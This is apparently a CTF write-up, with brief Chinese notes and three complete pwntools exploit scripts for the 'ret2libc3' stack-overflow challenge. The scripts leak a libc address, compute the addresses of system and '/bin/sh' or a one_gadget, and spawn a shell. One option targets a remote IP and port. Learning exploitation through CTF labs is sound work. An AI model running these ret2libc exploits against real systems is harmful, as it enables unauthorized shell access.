Analyse
- 泄漏 _start地址
- 获取 libc版本
- 获取 system与/bin/sh地址
- 再次执行源程序
- 触发栈溢出执行 system('/bin/sh')
Exp 1
- 自己写的 exp,根据泄漏的地址先找到libc
- 到返回地址的偏移可使用 cyclic快速判断1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73from pwn import * 
 local = 1
 pc = './ret2libc3'
 aslr = True
 context.log_level = True
 #context.terminal = ["deepin-terminal","-x","sh","-c"]
 libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
 ret2libc3 = ELF('./ret2libc3')
 if local==1:
 #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
 p = process(pc,aslr=aslr)
 #gdb.attach(p,'c')
 else:
 remote_addr = ['111.198.29.45', 39802]
 p = remote(remote_addr[0], remote_addr[1])
 ru = lambda x : p.recvuntil(x)
 rud = lambda x : p.recvuntil(x, drop=True)
 sn = lambda x : p.send(x)
 rl = lambda : p.recvline()
 sl = lambda x : p.sendline(x)
 rv = lambda x : p.recv(x)
 sa = lambda a,b : p.sendafter(a, b)
 sla = lambda a,b : p.sendlineafter(a, b)
 pi = lambda : p.interactive()
 def dbg(b=""):
 gdb.attach(io, b)
 raw_input()
 def lg(s, addr):
 log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))
 def raddr(a=6):
 if(a==6):
 return u64(rv(a).ljust(8,'\x00'))
 else:
 return u64(rl().strip('\n').ljust(8, '\x00'))
 if __name__ == '__main__':
 puts_plt = ret2libc3.plt['puts']
 libc_start_main_got = ret2libc3.got['__libc_start_main']
 start_addr = ret2libc3.symbols['_start']
 lg('start_addr', start_addr)
 payload = 'a' * 112
 payload += p32(puts_plt)
 payload += p32(start_addr)
 payload += p32(libc_start_main_got)
 payload += '\x00'
 sl(payload)
 ru('Can you find it !?')
 libc_start_main_addr = u32(p.recv()[0:4])
 lg('libc_start_main_addr',libc_start_main_addr)
 distance = libc.symbols['system'] - libc.symbols['__libc_start_main']
 lg('distance', distance)
 libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
 system_addr = libc_base_addr + libc.symbols['system']
 binsh_addr = libc_base_addr + libc.search("/bin/sh").next()
 lg('system_addr', system_addr)
 lg('binsh_addr', binsh_addr)
 payload = 'a' * 112
 payload += p32(system_addr)
 payload += p32(0xdeadbeef)
 payload += p32(binsh_addr)
 sl(payload)
 pi()
Exp 2
- 先泄漏 libc,然后使用one_gadget1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71from pwn import * 
 local = 1
 pc='./ret2libc3'
 aslr = True
 context.log_level = True
 #context.terminal = ["deepin-terminal","-x","sh","-c"]
 libc = ELF('./libc6_2.27-3ubuntu1.2_i386.so')
 ret2libc3 = ELF('./ret2libc3')
 if local == 1:
 #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
 p = process(pc, aslr=aslr)
 #gdb.attach(p,'c')
 else:
 remote_addr = ['111.198.29.45', 39802]
 p = remote(remote_addr[0], remote_addr[1])
 ru = lambda x : p.recvuntil(x)
 rud = lambda x : p.recvuntil(x, drop=True)
 sn = lambda x : p.send(x)
 rl = lambda : p.recvline()
 sl = lambda x : p.sendline(x)
 rv = lambda x : p.recv(x)
 sa = lambda a,b : p.sendafter(a, b)
 sla = lambda a,b : p.sendlineafter(a, b)
 pi = lambda : p.interactive()
 def dbg(b=""):
 gdb.attach(io , b)
 raw_input()
 def lg(s, addr):
 log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, addr))
 def raddr(a=6):
 if(a==6):
 return u64(rv(a).ljust(8, '\x00'))
 else:
 return u64(rl().strip('\n').ljust(8, '\x00'))
 if __name__ == '__main__':
 puts_plt = ret2libc3.plt['puts']
 libc_start_main_got = ret2libc3.got['__libc_start_main']
 start_addr = ret2libc3.symbols['_start']
 lg('start_addr', start_addr)
 payload = 'a' * 112
 payload += p32(puts_plt)
 payload += p32(start_addr)
 payload += p32(libc_start_main_got)
 sl(payload)
 ru('Can you find it !?')
 libc_start_main_addr = u32(p.recv()[0:4])
 lg('libc_start_main_addr',libc_start_main_addr)
 libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
 one_gadget = libc_base_addr + 0x3d130
 payload = 'a' * 112
 payload += p32(one_gadget)
 sl(payload)
 pi()
 """
 0x3d130 execve("/bin/sh", esp+0x40, environ)
 constraints:
 esi is the GOT address of libc
 [esp+0x40] == NULL
 """
Exp 3
- 网上找的另一个版本使用 LibcSearcher泄漏libc1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28##coding=utf-8 
 from pwn import *
 from LibcSearcher import LibcSearcher
 context.binary='ret2libc3'
 sh = process('./ret2libc3')
 ret2libc3 = ELF('./ret2libc3')
 puts_plt = ret2libc3.plt['puts']
 libc_start_main_got = ret2libc3.got['__libc_start_main']
 main = ret2libc3.symbols['_start']
 print("leak main_got addr and return main")
 payload = flat(['A'*112,puts_plt,main,libc_start_main_got])
 sh.sendlineafter('Can you find it !?',payload)
 libc_start_main_addr = u32(sh.recv()[0:4])
 print(hex(libc_start_main_addr))
 libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
 libcbase = libc_start_main_addr-libc.dump('__libc_start_main')
 system_addr = libcbase+libc.dump('system')
 binsh_addr = libcbase +libc.dump('str_bin_sh')
 print("now get shell")
 payload = flat(['A'*112,system_addr,'A'*4,binsh_addr])
 sh.send(payload)
 sh.interactive()

 
          